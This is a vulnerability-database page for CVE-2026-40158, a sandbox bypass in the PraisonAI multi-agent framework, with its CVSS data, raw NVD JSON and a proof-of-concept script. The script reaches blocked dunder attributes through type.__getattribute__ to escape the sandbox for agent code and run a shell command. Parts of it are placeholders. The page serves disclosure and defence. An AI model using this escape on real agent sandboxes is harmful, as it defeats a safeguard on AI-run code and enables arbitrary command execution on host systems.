Security Vulnerability Report
中文
CVE-2026-40158 CVSS 8.6 HIGH

CVE-2026-40158

Published: 2026-04-10 17:17:14
Last Modified: 2026-04-20 19:38:25

Description

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:* - VULNERABLE
PraisonAI < 4.5.128

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40158 # The sandbox blocks direct attribute access like ().__class__ # But it fails to block dynamic resolution using type.__getattribute__ malicious_code = """ # Bypass the AST filter by using type.__getattribute__ with string constants # The filter checks for ast.Attribute nodes, but '__class__' here is just a string constant obj_class = type.__getattribute__((), '__class__') base_classes = type.__getattribute__(obj_class, '__bases__') # Iterate to find a suitable base class to break out for base in base_classes: try: # Access __subclasses__ dynamically all_subclasses = type.__getattribute__(base, '__subclasses__') print(f"Found subclasses: {all_subclasses}") # Further exploitation logic would go here # e.g., finding subprocess.Popen to execute commands for sub in all_subclasses: if 'catch_warnings' in str(sub): import os os.system('id') except Exception as e: pass """ # In a real scenario, this string would be passed to the vulnerable function: # praisonaiagents.tools.python_tools._execute_code_direct(malicious_code) print("PoC generated. This code bypasses AST checks preventing __class__ and __subclasses__ access.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40158", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:13.603", "lastModified": "2026-04-20T19:38:25.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.128", "matchCriteriaId": "56CDE5F5-B03C-4C3A-9A92-F61C9DFDA9B1"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}